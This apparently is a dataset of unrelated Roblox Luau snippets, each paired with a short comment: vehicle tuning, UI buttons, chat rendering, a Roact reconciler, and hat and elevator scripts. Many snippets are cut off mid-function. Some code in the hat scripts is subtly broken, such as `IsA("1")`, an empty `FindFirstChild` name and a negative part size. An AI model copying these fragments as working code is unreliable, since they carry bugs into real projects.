script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
if script.Parent.Parent.Parent.CanKill.Value == true then
script.Parent.Parent.Parent.Parent.Parent.Parent.Character.Humanoid.Health = 0
end
else
script.Parent.Border.ImageColor3 = Color3.new(1, 0, 0)
wait(.25)
script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
end
end
script.Parent.MouseButton1Click:connect(Click)
|
--Aesthetics |
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- actiontime should always be 0 unless you are using the two commands above for the delay | |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 340 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--play anim for a certain amunt of time |
function module.playAnimationForDuration(anim, duration, hum)
local animationTrack = hum:LoadAnimation(anim)
local speed = animationTrack.Length / duration
animationTrack:AdjustSpeed(speed)
animationTrack:Play()
end
return module
|
--Switch between eraser and brush when their respective buttons are pressed |
brushSettings.BrushButton.MouseButton1Click:Connect(function()
erasing = false
brushSettings.BrushButton.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
brushSettings.EraserButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
end)
brushSettings.EraserButton.MouseButton1Click:Connect(function()
erasing = true
brushSettings.EraserButton.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
brushSettings.BrushButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
end)
|
-- Makes copies of all the admin tools and puts them in target |
local function CloneAdminTools(target)
for _, tool in pairs(AdminTools:GetChildren()) do
local toolClone = tool:Clone()
toolClone.Parent = target
end
end
|
--- Skill |
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "LightKick"
Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01)
Track1:Play()
wait(0.15)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,30 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(2)
Debounce = true
end
end)
|
--!strict
-- upstream: https://github.com/facebook/react/blob/376d5c1b5aa17724c5fea9412f8fcde14a7b23f1/packages/react/src/ReactCurrentOwner.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]] | |
--------RIGHT DOOR -------- |
game.Workspace.doorright.l11.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(1)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(21) |
-- upstream: https://github.com/facebook/react/blob/3cde22a84e246fc5361f038bf0c23405b2572c22/packages/react-reconciler/src/ReactFiberHostConfigWithNoTestSelectors.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]] |
local invariant = require(script.Parent.Parent.invariant)
|
-- Implements Javascript's `Array.prototype.map` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map |
return function<T, U, V>(t: Array<T>, callback: callbackFn<T, U> | callbackFnWithThisArg<T, U, V>, thisArg: V?): Array<U>
if typeof(t) ~= "table" then
error(string.format("Array.map called on %s", typeof(t)))
end
if typeof(callback) ~= "function" then
error("callback is not a function")
end
local len = #t
local A = {}
local k = 1
while k <= len do
local kValue = t[k]
if kValue ~= nil then
local mappedValue
if thisArg ~= nil then
mappedValue = (callback :: callbackFnWithThisArg<T, U, V>)(thisArg, kValue, k, t)
else
mappedValue = (callback :: callbackFn<T, U>)(kValue, k, t)
end
A[k] = mappedValue
end
k += 1
end
return A
end
|
-------- public facing API ---------------- |
local moduleApiTable = {}
function moduleApiTable:Create(instanceType)
return function(data)
local obj = Instance.new(instanceType)
local parent = nil
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
elseif k == 'Parent' then
parent = v
else
obj[k] = v
end
end
if parent then
obj.Parent = parent
end
return obj
end
end
|
-- SirNoobly |
local hat = script.Parent
hat.PrimaryPart = hat:WaitForChild("Head") -- Make sure the Head is the same size as a normal Head.
function weldParts(part0, part1) -- welds the 2 parts based on their position
local newWeld = Instance.new("Weld")
newWeld.Part0 = part0
newWeld.Part1 = part1
newWeld.C0 = CFrame.new()
newWeld.C1 = part1.CFrame:toObjectSpace(part0.CFrame)
newWeld.Parent = part0
end
hat.Head.Touched:connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") and not hit.Parent:FindFirstChild("")then else return end
for _, v in pairs (hit.Parent:GetChildren()) do -- removes all hats
if v:IsA("1") then
v:Destroy()
end
end
local head = hit.Parent:FindFirstChild("Head")
local newHat = hat:Clone()
newHat:FindFirstChild("HatScript"):Destroy()
newHat:SetPrimaryPartCFrame(head.CFrame) -- puts the head into the head
newHat.PrimaryPart:Destroy()
for _, part in pairs (newHat:GetChildren()) do
if part:IsA("BasePart") then
weldParts(head, part)
part.CanCollide = false
part.Anchored = false
end
end
newHat.Parent = hit.Parent
end)
|
-- Local player |
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:wait()
local PlayerGui = player:WaitForChild("PlayerGui")
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts. |
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddPrefixLabelToBaseMessage(BaseMessage, prefixColor, formatPrefix)
local speakerNameSize = self:GetStringTextBounds(formatPrefix, BaseMessage.Font, BaseMessage.TextSize)
local PrefixLabel = self:GetFromObjectPool("TextLabel")
PrefixLabel.Selectable = false
PrefixLabel.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
PrefixLabel.Position = UDim2.new(0, 0, 0, 0)
PrefixLabel.BackgroundTransparency = 1
PrefixLabel.Font = BaseMessage.Font
PrefixLabel.TextSize = BaseMessage.TextSize
PrefixLabel.TextXAlignment = BaseMessage.TextXAlignment
PrefixLabel.TextYAlignment = BaseMessage.TextYAlignment
PrefixLabel.TextTransparency = BaseMessage.TextTransparency
PrefixLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
PrefixLabel.TextColor3 = prefixColor
PrefixLabel.Text = formatPrefix
PrefixLabel.Visible = true
PrefixLabel.Parent = BaseMessage
return PrefixLabel
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:CaptureFocus()
self.ChatBar:SetText(whisperMessage)
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
-- Indicator class |
local Indicator = {}
Indicator.all = {}
function Indicator:new(newIndicator)
local newIndicator = newIndicator or {}
-- Properties
newIndicator.time = newIndicator.time or 1
newIndicator.position = newIndicator.position or Vector3.new()
newIndicator.timeCreated = tick()
newIndicator.timeExpire = tick() + newIndicator.time
newIndicator.alive = true
newIndicator.frame = frTemplate:clone()
newIndicator.frame.Parent = gui
newIndicator.frame.Archivable = false
setmetatable(newIndicator, Indicator)
self.__index = self
table.insert(Indicator.all, newIndicator)
newIndicator:update()
return newIndicator
end
function Indicator:expire()
self.alive = false
-- Cleanup resources
self.frame:Destroy()
-- Remove from all
for i = 1, #Indicator.all do
if self == Indicator.all[i] then
table.remove(Indicator.all, i)
break
end
end
end
function Indicator:setAngle(angleRadians)
assert(self, "use colon")
if not self.alive then return end
local angleDegrees = angleRadians * (180 / math.pi)
self.frame.Position = UDim2.new(
.5,
math.cos(angleRadians) * radius + self.frame.AbsoluteSize.X / -2,
.5,
math.sin(angleRadians) * radius + self.frame.AbsoluteSize.Y / -2
)
self.frame.Rotation = angleDegrees + 90
end
function Indicator:update()
if tick() >= self.timeExpire then
self:expire()
else
local perc = (tick() - self.timeCreated) / self.time
self:setAngle(getCameraAngle(camera) - angleBetweenPoints(camera.Focus.p, self.position) - math.pi / 2)
self.frame.ImageLabel.ImageTransparency = perc
self.frame.ImageLabel.Size = UDim2.new(0, 50, 0, -50 * (1 - perc))
end
end
function Indicator:updateAll()
local i = 1
while i <= #Indicator.all do
local indicator = Indicator.all[i]
indicator:update()
if indicator.alive then
i = i + 1
end
end
end
|
--[[
The reconciler is the mechanism in Roact that constructs the virtual tree
that later gets turned into concrete objects by the renderer.
Roact's reconciler is constructed with the renderer as an argument, which
enables switching to different renderers for different platforms or
scenarios.
When testing the reconciler itself, it's common to use `NoopRenderer` with
spies replacing some methods. The default (and only) reconciler interface
exposed by Roact right now uses `RobloxRenderer`.
]] |
local function createReconciler(renderer)
local reconciler
local mountVirtualNode
local updateVirtualNode
local unmountVirtualNode
--[[
Unmount the given virtualNode, replacing it with a new node described by
the given element.
Preserves host properties, depth, and context from parent.
]]
local function replaceVirtualNode(virtualNode, newElement)
local hostParent = virtualNode.hostParent
local hostKey = virtualNode.hostKey
local depth = virtualNode.depth
local parentContext = virtualNode.parentContext
unmountVirtualNode(virtualNode)
local newNode = mountVirtualNode(newElement, hostParent, hostKey, parentContext)
-- mountVirtualNode can return nil if the element is a boolean
if newNode ~= nil then
newNode.depth = depth
end
return newNode
end
--[[
Utility to update the children of a virtual node based on zero or more
updated children given as elements.
]]
local function updateChildren(virtualNode, hostParent, newChildElements)
if config.internalTypeChecks then
internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
end
local removeKeys = {}
-- Changed or removed children
for childKey, childNode in pairs(virtualNode.children) do
local newElement = ElementUtils.getElementByKey(newChildElements, childKey)
local newNode = updateVirtualNode(childNode, newElement)
if newNode ~= nil then
virtualNode.children[childKey] = newNode
else
removeKeys[childKey] = true
end
end
for childKey in pairs(removeKeys) do
virtualNode.children[childKey] = nil
end
-- Added children
for childKey, newElement in ElementUtils.iterateElements(newChildElements) do
local concreteKey = childKey
if childKey == ElementUtils.UseParentKey then
concreteKey = virtualNode.hostKey
end
if virtualNode.children[childKey] == nil then
local childNode = mountVirtualNode(newElement, hostParent, concreteKey, virtualNode.context)
-- mountVirtualNode can return nil if the element is a boolean
if childNode ~= nil then
childNode.depth = virtualNode.depth + 1
virtualNode.children[childKey] = childNode
end
end
end
end
local function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)
updateChildren(virtualNode, hostParent, newChildElements)
end
local function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
if Type.of(renderResult) == Type.Element
or renderResult == nil
or typeof(renderResult) == "boolean"
then
updateChildren(virtualNode, hostParent, renderResult)
else
error(("%s\n%s"):format(
"Component returned invalid children:",
virtualNode.currentElement.source or "<enable element tracebacks>"
), 0)
end
end
--[[
Unmounts the given virtual node and releases any held resources.
]]
function unmountVirtualNode(virtualNode)
if config.internalTypeChecks then
internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
end
local kind = ElementKind.of(virtualNode.currentElement)
if kind == ElementKind.Host then
renderer.unmountHostNode(reconciler, virtualNode)
elseif kind == ElementKind.Function then
for _, childNode in pairs(virtualNode.children) do
unmountVirtualNode(childNode)
end
elseif kind == ElementKind.Stateful then
virtualNode.instance:__unmount()
elseif kind == ElementKind.Portal then
for _, childNode in pairs(virtualNode.children) do
unmountVirtualNode(childNode)
end
elseif kind == ElementKind.Fragment then
for _, childNode in pairs(virtualNode.children) do
unmountVirtualNode(childNode)
end
else
error(("Unknown ElementKind %q"):format(tostring(kind), 2))
end
end
local function updateFunctionVirtualNode(virtualNode, newElement)
local children = newElement.component(newElement.props)
updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)
return virtualNode
end
local function updatePortalVirtualNode(virtualNode, newElement)
local oldElement = virtualNode.currentElement
local oldTargetHostParent = oldElement.props.target
local targetHostParent = newElement.props.target
assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")
if targetHostParent ~= oldTargetHostParent then
return replaceVirtualNode(virtualNode, newElement)
end
local children = newElement.props[Children]
updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)
return virtualNode
end
local function updateFragmentVirtualNode(virtualNode, newElement)
updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)
return virtualNode
end
--[[
Update the given virtual node using a new element describing what it
should transform into.
`updateVirtualNode` will return a new virtual node that should replace
the passed in virtual node. This is because a virtual node can be
updated with an element referencing a different component!
In that case, `updateVirtualNode` will unmount the input virtual node,
mount a new virtual node, and return it in this case, while also issuing
a warning to the user.
]]
function updateVirtualNode(virtualNode, newElement, newState)
if config.internalTypeChecks then
internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
end
if config.typeChecks then
assert(
Type.of(newElement) == Type.Element or typeof(newElement) == "boolean" or newElement == nil,
"Expected arg #2 to be of type Element, boolean, or nil"
)
end
-- If nothing changed, we can skip this update
if virtualNode.currentElement == newElement and newState == nil then
return virtualNode
end
if typeof(newElement) == "boolean" or newElement == nil then
unmountVirtualNode(virtualNode)
return nil
end
if virtualNode.currentElement.component ~= newElement.component then
return replaceVirtualNode(virtualNode, newElement)
end
local kind = ElementKind.of(newElement)
local shouldContinueUpdate = true
if kind == ElementKind.Host then
virtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)
elseif kind == ElementKind.Function then
virtualNode = updateFunctionVirtualNode(virtualNode, newElement)
elseif kind == ElementKind.Stateful then
shouldContinueUpdate = virtualNode.instance:__update(newElement, newState)
elseif kind == ElementKind.Portal then
virtualNode = updatePortalVirtualNode(virtualNode, newElement)
elseif kind == ElementKind.Fragment then
virtualNode = updateFragmentVirtualNode(virtualNode, newElement)
else
error(("Unknown ElementKind %q"):format(tostring(kind), 2))
end
-- Stateful components can abort updates via shouldUpdate. If that
-- happens, we should stop doing stuff at this point.
if not shouldContinueUpdate then
return virtualNode
end
virtualNode.currentElement = newElement
return virtualNode
end
--[[
Constructs a new virtual node but not does mount it.
]]
local function createVirtualNode(element, hostParent, hostKey, context)
if config.internalTypeChecks then
internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
end
if config.typeChecks then
assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
assert(
Type.of(element) == Type.Element or typeof(element) == "boolean",
"Expected arg #1 to be of type Element or boolean"
)
end
return {
[Type] = Type.VirtualNode,
currentElement = element,
depth = 1,
children = {},
hostParent = hostParent,
hostKey = hostKey,
context = context,
-- This copy of context is useful if the element gets replaced
-- with an element of a different component type
parentContext = context,
}
end
local function mountFunctionVirtualNode(virtualNode)
local element = virtualNode.currentElement
local children = element.component(element.props)
updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)
end
local function mountPortalVirtualNode(virtualNode)
local element = virtualNode.currentElement
local targetHostParent = element.props.target
local children = element.props[Children]
assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")
updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)
end
local function mountFragmentVirtualNode(virtualNode)
local element = virtualNode.currentElement
local children = element.elements
updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)
end
--[[
Constructs a new virtual node and mounts it, but does not place it into
the tree.
]]
function mountVirtualNode(element, hostParent, hostKey, context)
if config.internalTypeChecks then
internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
end
if config.typeChecks then
assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
assert(
Type.of(element) == Type.Element or typeof(element) == "boolean",
"Expected arg #1 to be of type Element or boolean"
)
end
-- Boolean values render as nil to enable terse conditional rendering.
if typeof(element) == "boolean" then
return nil
end
local kind = ElementKind.of(element)
local virtualNode = createVirtualNode(element, hostParent, hostKey, context)
if kind == ElementKind.Host then
renderer.mountHostNode(reconciler, virtualNode)
elseif kind == ElementKind.Function then
mountFunctionVirtualNode(virtualNode)
elseif kind == ElementKind.Stateful then
if element.component.__mount == nil then
print("Nil component!")
for k, v in pairs(element) do
print(k, v)
end
print("component props")
for k, v in pairs(element.component) do
print(k, v)
end
end
element.component:__mount(reconciler, virtualNode)
elseif kind == ElementKind.Portal then
mountPortalVirtualNode(virtualNode)
elseif kind == ElementKind.Fragment then
mountFragmentVirtualNode(virtualNode)
else
error(("Unknown ElementKind %q"):format(tostring(kind), 2))
end
return virtualNode
end
--[[
Constructs a new Roact virtual tree, constructs a root node for
it, and mounts it.
]]
local function mountVirtualTree(element, hostParent, hostKey)
if config.typeChecks then
assert(Type.of(element) == Type.Element, "Expected arg #1 to be of type Element")
assert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
end
if hostKey == nil then
hostKey = "RoactTree"
end
local tree = {
[Type] = Type.VirtualTree,
[InternalData] = {
-- The root node of the tree, which starts into the hierarchy of
-- Roact component instances.
rootNode = nil,
mounted = true,
},
}
tree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)
return tree
end
--[[
Unmounts the virtual tree, freeing all of its resources.
No further operations should be done on the tree after it's been
unmounted, as indicated by its the `mounted` field.
]]
local function unmountVirtualTree(tree)
local internalData = tree[InternalData]
if config.typeChecks then
assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
assert(internalData.mounted, "Cannot unmounted a Roact tree that has already been unmounted")
end
internalData.mounted = false
if internalData.rootNode ~= nil then
unmountVirtualNode(internalData.rootNode)
end
end
--[[
Utility method for updating the root node of a virtual tree given a new
element.
]]
local function updateVirtualTree(tree, newElement)
local internalData = tree[InternalData]
if config.typeChecks then
assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
assert(Type.of(newElement) == Type.Element, "Expected arg #2 to be a Roact Element")
end
internalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)
return tree
end
reconciler = {
mountVirtualTree = mountVirtualTree,
unmountVirtualTree = unmountVirtualTree,
updateVirtualTree = updateVirtualTree,
createVirtualNode = createVirtualNode,
mountVirtualNode = mountVirtualNode,
unmountVirtualNode = unmountVirtualNode,
updateVirtualNode = updateVirtualNode,
updateVirtualNodeWithChildren = updateVirtualNodeWithChildren,
updateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,
}
return reconciler
end
return createReconciler
|
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- -- |
Elevator:WaitForChild("Direction").Changed:connect(function(val)
if val == 1 then
This.Display.ARW1.U.Material = Enum.Material.Neon
This.Display.ARW1.U.Color = Color3.fromRGB(190, 104, 98)
This.Display.ARW1.D.Material = Enum.Material.Glass
This.Display.ARW1.D.Color = Color3.fromRGB(238,248,248)
elseif val == -1 then
This.Display.ARW1.D.Material = Enum.Material.Neon
This.Display.ARW1.D.Color = Color3.fromRGB(190, 104, 98)
This.Display.ARW1.U.Material = Enum.Material.Glass
This.Display.ARW1.U.Color = Color3.fromRGB(238,248,248)
else
This.Display.ARW1.D.Material = Enum.Material.Glass
This.Display.ARW1.D.Color = Color3.fromRGB(248,248,248)
This.Display.ARW1.U.Material = Enum.Material.Glass
This.Display.ARW1.U.Color = Color3.fromRGB(238,248,248)
end
end)
|
-- FUNCTIONS -- |
for i, v in pairs(CS:GetTagged(Tag)) do
if v:IsA("Model") then
RagdollModule:Setup(v)
end
end
|
--//Setup//-- |
local NPC = script.Parent
local Humanoid = NPC:WaitForChild("Humanoid")
local EmoteButton = NPC.Parent.Parent.Parent
local EmoteID = EmoteButton.EmoteID
local Animation = Instance.new("Animation")
Animation.Parent = NPC
Animation.AnimationId = "rbxassetid://"..EmoteID.Value
|
--[[Weld functions]] |
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,x)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") then
MakeWeld(b,a,"Weld")
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--[[Misc]] |
Tune.LoadDelay = 1 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
--[[
function onKeyDown(key)
local Character = Tool.Parent
if Character:findFirstChild("Humanoid") == nil then return end
if game.Players:GetPlayerFromCharacter(Character) == nil then return end
local Humanoid = Character.Humanoid
if Humanoid.Health < 0.01 then return end
if key == "" then
end
end
]] |
function SetCollide()
if Tool:IsDescendantOf(game.Workspace) == true then
Tool.On.Value = false
for i = 1, #ToolPart do
if ToolPart[i].className == "Part" then
if ToolPart[i]:findFirstChild("Collide") ~= nil then
if ToolPart[i]["Collide"].Value == false then
ToolPart[i].CanCollide = false
end
else
ToolPart[i].CanCollide = true
end
end
end
end
if Tool:IsDescendantOf(game.Players) == true then
for i = 1, #ToolPart do
if ToolPart[i].className == "Part" then
ToolPart[i].CanCollide = false
end
end
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
|
--[[Drivetrain]] |
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
Tune.TorqueVector = 0 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 80 -- 1 - 100%
Tune.RDiffLockThres = 20 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = false -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
